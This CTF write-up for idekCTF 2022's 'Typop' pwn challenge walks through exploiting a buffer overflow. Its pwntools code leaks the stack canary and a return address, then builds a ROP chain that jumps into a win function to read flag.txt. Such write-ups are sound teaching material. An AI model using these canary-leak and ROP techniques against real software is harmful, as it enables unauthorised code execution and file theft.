idek2022: Typop
Pwn/Typop
Challenge Info
- Name: Typop
- Author: JW#9396
- Description: While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?
- Link to files: idek2022
Intro
The challenge binary has only a few functions. In the main
function not much happens besides getFeedback
getting called in a while(true)
loop:
The interesting parts are in the getFeedback
function:
In both read functions there is a buffer overflow. However as we can see at the end of the function, the binary also uses stack canaries.
So we can't just overflow the buffer to overwrite the return address because the __stack_chk_fail()
check would fail.
Canary leak
To overflow the buffer without crashing the process we first need to leak the canary. Luckily, we can use the first
read()
call followed by the printf()
call to leak the canary, then write the correct canary back using the second read()
call.
In this case the canary is 0x4f4bde881e0f0f00
and comes directly after the input buffer. On Linux a stack canary always starts with a NULL byte.
Since printf()
always prints up to the next NULL byte we simply have to overflow the buffer by one byte to overwrite the NULL byte to print the
stack canary followed by the rbp
up to the next NULL byte.
The following code snippet does exactly that:
r.recvuntil(b"Do you want to complete a survey?")
r.sendline(b"y")
r.recvuntil("Do you like ctf?\n")
r.sendline(b'a'*offset_to_canary)
r.recvline() # recv input to new line
leak = r.recvline()
canary = int.from_bytes(b'\x00' + leak[:7], 'little')
rbp = int.from_bytes(leak[7:13], 'little')
print(f'rbp: {hex(rbp)}')
print(f'canary: {hex(canary)}')
r = process([exe.path])
return r
After the overflow the stack looks like this:
Now that we know the canary, we can use the second read()
call to write it back to the stack.
r.recvuntil(b'Aww :( Can you provide some extra feedback?')
r.sendline(b'a' * offset_to_canary + p64(canary))
When the getFeedback
function gets called the second time we can use the information leak to leak the return address from
the stack which points to the main function. From this point, the offset to the base address
of the binary can be calculated which we can use to build our ROP chain.
r.recvuntil(b"Do you want to complete a survey?")
r.sendline(b"y")
r.recvuntil("Do you like ctf?\n")
# leak return address to main
r.sendline(b'a' * offset_to_ret)
r.recvline() # recv input to new line
ret_leak = int.from_bytes(r.recvline()[:6], 'little')
# set base address
exe.address = ret_leak - 0x1447
From here we could try to leak a libc address to ret2libc. In this case however, the binary contains a win
function we can use
which reads a file and prints its content:
Unfortunately, just overwriting the return address with the win address wont work since the win
function takes 3 characters of the
filename as parameters. The parameters are passed via the registers rdi
, rsi
and rdx
. The registers rsi
and rdi
can be set
by using simple ROP gadgets. For rdx
however I did not find any useful gadgets.
So instead of calling the entry point of the win
function we can also call it with an offset to the point where fopen
gets called.
Therefore, we have to set the parameters for fopen
befor jumping there. fopen
takes a pointer to the filename and a pointer to a string containing
the mode. Since we only need 2 parameters which get passed via rdi
and rsi
we can achieve this using our already found gadgets:
fopen = p64(exe.address + 0x12ba)
pop_rdi = p64(exe.address + 0x14d3)
pop_rsi_r15 = p64(exe.address + 0x14d1)
read_mode_str = p64(exe.address + 0x2008)
r.sendline(b'a' * offset_to_canary + p64(canary)
# Overwrite rbp
# Set offset big enough so fgets does not fuck up the stack
+ p64(rbp - 0x100)
# ROP Chain:
# pop pointer to 'flag.txt' string into rdi
+ pop_rdi + p64(rbp+0x28)
# pop pointer to 'r' string into rsi
+ pop_rsi_r15 + read_mode_str + p64(0xdeadbeef)
# return directly to fopen call in win function
+ fopen
# filename string which will be used for fopen
+ b'flag.txt\x00\x00')
This will read the flag from the flag.txt
file and print it to stdout.